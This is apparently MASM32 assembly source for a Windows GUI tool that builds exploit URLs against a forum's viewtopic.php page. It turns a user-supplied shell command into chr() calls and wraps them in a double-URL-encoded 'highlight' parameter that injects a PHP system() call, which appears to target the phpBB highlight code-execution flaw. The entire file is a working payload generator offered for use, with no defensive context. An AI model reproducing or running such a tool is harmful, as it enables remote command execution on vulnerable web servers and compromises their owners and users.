.386
.model	flat, stdcall
option	casemap :none

include		windows.inc
include		user32.inc
include		kernel32.inc
include		comctl32.inc
include 	masm32.inc

includelib	masm32.lib
includelib	user32.lib
includelib	kernel32.lib
includelib	comctl32.lib	

DlgProc		PROTO	:DWORD,:DWORD,:DWORD,:DWORD

.data
sz_ViewTopic				DB	"viewtopic.php?t=",0
sz_Highlight				DB	"&highlight=%2527%252esystem(chr(",0
sz_Highlight_Middle			DB	")%252echr(",0
sz_Highlight_End			DB	"))%252e%2527",0
.data?
hInstance					DD	?
hChar						DD	?

sz_Temp						DB	250 dup(?)
sz_Command					DB	250 dup(?)
sz_Result					DB	2500 dup(?)

.const
IDD_MAIN                        Equ 1000
IDB_EXIT                        Equ 1001
IDC_Generate                    Equ 1002
IDC_STATIC1007                  Equ 1007
IDC_STATIC1009                  Equ 1009
IDC_Url                         Equ 1006
IDC_Command                     Equ 1005
IDC_Result                      Equ 1004
IDC_STATIC1010                  Equ 1010
IDC_STATIC1012                  Equ 1012
IDC_STATIC1013                  Equ 1013
IDC_Topic                       Equ 1011

.code
start:
	Push 0
	Call GetModuleHandle
	Mov  hInstance, EAX
	
	Call InitCommonControls
	
	Push 0
	Push OFFSET DlgProc
	Push 0
	Push IDD_MAIN
	Push hInstance
	Call DialogBoxParam
	
	Push 0
	Call ExitProcess

DlgProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD

	.IF	uMsg == WM_INITDIALOG
		Push 0
		Push hInstance
		Call LoadIcon
		
		Push EAX
		Push 1
		Push WM_SETICON
		Push hWin
		Call SendMessage
		
	.ELSEIF uMsg == WM_COMMAND
		.IF	wParam == IDB_EXIT
			Push 0
			Push 0
			Push WM_CLOSE
			Push hWin
			Call SendMessage
		.ELSEIF wParam == IDC_Generate
			Push SIZEOF sz_Temp
			Push OFFSET sz_Temp
			Push IDC_Url
			Push hWin
			Call GetDlgItemText
			
			Push OFFSET sz_Temp
			Push OFFSET sz_Result
			Call lstrcat
			
			Push SIZEOF sz_Temp
			Push OFFSET sz_Temp
			Call RtlZeroMemory
			
			Push OFFSET sz_ViewTopic
			Push OFFSET sz_Result
			Call lstrcat
			
			Push SIZEOF sz_Temp
			Push OFFSET sz_Temp
			Push IDC_Topic
			Push hWin
			Call GetDlgItemText
			
			Push OFFSET sz_Temp
			Push OFFSET sz_Result
			Call lstrcat
			
			Push SIZEOF sz_Temp
			Push OFFSET sz_Temp
			Call RtlZeroMemory
			
			Push OFFSET sz_Highlight
			Push OFFSET sz_Result
			Call lstrcat
			
			Push SIZEOF sz_Temp
			Push OFFSET sz_Temp
			Push IDC_Command
			Push hWin
			Call GetDlgItemText
			
			Xor EBX, EBX
			
			Push OFFSET sz_Temp
			Call lstrlen
			Mov EBX, EAX
			
			Mov ESI, OFFSET sz_Temp
			
			@Loop:
				Mov EDI, OFFSET hChar
				Lodsb
				Cmp EBX, 1
				Je  @EndOfString
				Stosb
				
				Push OFFSET sz_Command
				Push hChar
				Call dw2a
				
				Push OFFSET sz_Command
				Push OFFSET sz_Result
				Call lstrcat
				
				Push OFFSET sz_Highlight_Middle
				Push OFFSET sz_Result
				Call lstrcat

				Mov  hChar, 0
				
				Push SIZEOF sz_Command
				Push OFFSET sz_Command
				Call RtlZeroMemory

				Dec EBX
				Jmp @Loop
				
			@EndOfString:
				Stosb
				
				Push OFFSET sz_Command
				Push hChar
				Call dw2a
				
				Push OFFSET sz_Command
				Push OFFSET sz_Result
				Call lstrcat
				
				Push SIZEOF sz_Command
				Push OFFSET sz_Command
				Call RtlZeroMemory

			@End:
				Push OFFSET sz_Highlight_End
				Push OFFSET sz_Result
				Call lstrcat
				
				Push OFFSET sz_Result
				Push IDC_Result
				Push hWin
				Call SetDlgItemText
				
				Push SIZEOF sz_Result
				Push OFFSET sz_Result
				Call RtlZeroMemory

		.ENDIF
	.ELSEIF	uMsg == WM_CLOSE
		Push 0
		Push hWin
		Call EndDialog

	.ENDIF

	xor	eax,eax
	ret
DlgProc endp

end start